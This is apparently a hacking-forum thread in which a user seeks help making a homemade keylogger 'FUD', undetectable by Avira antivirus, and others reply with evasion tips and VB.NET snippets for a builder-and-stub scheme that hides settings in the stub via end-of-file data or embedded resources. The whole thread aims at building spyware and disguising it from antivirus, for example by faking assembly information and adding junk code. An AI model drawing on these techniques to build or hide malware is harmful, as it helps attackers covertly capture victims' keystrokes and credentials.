[µnKn0wn_H4CK3r]

Hi!

I try to finish (FUD) my keylogger but I have one problem:
-Builder undetected (by Avira Antivir)
-Stub undetected (by Avira Antivir)
-Output (keylogger generated) detected (by Avira Antivir)

Avira find 4 Trojan/Dropper. I have got to remove 1 detection, now Avira find only 3 Trojan/Dropper (I have changed the assembly to HijackThis assembly, add fake code).

-What's the problem?
-What I have to do to FUD the output?

Thanks in advance!

[GoldStar]

You can use the search first. 5 threads about this where posted before.
https://hackforums.net/showthread.php?tid=431874

[µnKn0wn_H4CK3r]

You can use the search first. 5 threads about this where posted before.
https://hackforums.net/showthread.php?tid=431874

Already done and it stays 4 Tr/Dropper.Gen 😑 .. ONLY this shit of Avira Antivir detects my output and no one detect my stub (junk code or not, bad/good FileSplit, bad/good solution name, bad/good icon).

But, what is EOF (End Of File) precisely?

Code

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

text1 = Space(LOF(1))
FileGet(1, text1)

FileClose(1)

options = Split(text1, FileSplit)

This is not EOF?

[GoldStar]

Already done

...

But, what is EOF (End Of File) precisely?

Code

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
FileGet(1, text1)
FileClose(1)
options = Split(text1, FileSplit)

This is not EOF?

Means its not already done. read it all, you will find alternatives of EOF (Number 5).

[Threadlocks]

but it still need at end how its done help

[xSilent]

PM me and I'll show you how to use deaths resource API

[Beck]

Hi!

I try to finish (FUD) my keylogger but I have one problem:
-Builder undetected (by Avira Antivir)
-Stub undetected (by Avira Antivir)
-Output (keylogger generated) detected (by Avira Antivir)

Avira find 4 Trojan/Dropper. I have got to remove 1 detection, now Avira find only 3 Trojan/Dropper (I have changed the assembly to HijackThis assembly, add fake code).

-What's the problem?
-What I have to do to FUD the output?

Thanks in advance!

Check out Deathaders' threads. They should help a bunch.

[Threadlocks]

hey can i use code dom insted of eof

[pr0t0typ3]

Yes but comedom compiles a completly new file while eof just writes to an already compiled file

[µnKn0wn_H4CK3r]

I think this is a good solution but I don't know how to precisely do to write the resources...

If anybody can help me... Because I tried these solutions but they don't work:

Code

'Imports System.Text
'Imports Builder.ResourceWriter

WriteResource("OutPut.exe", Encoding.Default.GetBytes("Test" & FileSplit & "Test2"))

Code

FileOpen(1, "OutPut.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

FilePut(1, "Test String 1" & FileSplit & "Test String 2")

FileClose(1)

How use the module please 😭?

[Threadlocks]

if we pass eof as string to stub then how do we appened it

[µnKn0wn_H4CK3r]

if we pass eof as string to stub then how do we appened it

I don't really understand what you said (I'm french)...

But I'd really like to know how to use this module 😭 !

The WriteResource function return a boolean, not a string or else (bytes...). And when I try any methods, it doesn't works (not write resources in the output.exe).

[dayan]

Bump this up! I also hav the same prob with him

[oRc]

Make a string:

Code

dim buildstring as string = (filesplit & options1 & filesplit & options2)

Convert to Bytes:

Code

dim getbytes as byte() = encoding.default.getbytes(buildstring)

Writhing to resources:

Code

writeresource(application.startuppath & "\server.exe", getbytes)

In your stub:

Code

dim getbytes as byte() = readresource(application.executablepath())
dim getstring As string = encoding.default.getstring(getbytes)
Dim options() = Split(getstring, filesplit)
  options1 = options(1)
  options2 = options(2)

[µnKn0wn_H4CK3r]

Make a string:

Code

dim buildstring as string = (filesplit & options1 & filesplit & options2)

Convert to Bytes:

Code

dim getbytes as byte() = encoding.default.getbytes(buildstring)

Writhing to resources:

Code

writeresource(application.startuppath & "\server.exe", getbytes)

In your stub:

Code

dim getbytes as byte() = readresource(application.executablepath())
dim getstring As string = encoding.default.getstring(getbytes)
Dim options() = Split(getstring, filesplit)
  options1 = options(1)
  options2 = options(2)

I don't understand...

Code

FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

Stub = Space(LOF(1))
FileGet(1, Stub)

FileClose(1)

Dim BuildString As String = Stub & FileSplit & TextBox1.Text & FileSplit & etc
Dim BuildBytes As Byte() = Encoding.Default.GetBytes(BuildString)

FileOpen(1, Application.StartupPath & "\" & "OutPut.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

WriteResource("OutPut.exe", BuildBytes)

FileClose(1)

It doesn't works !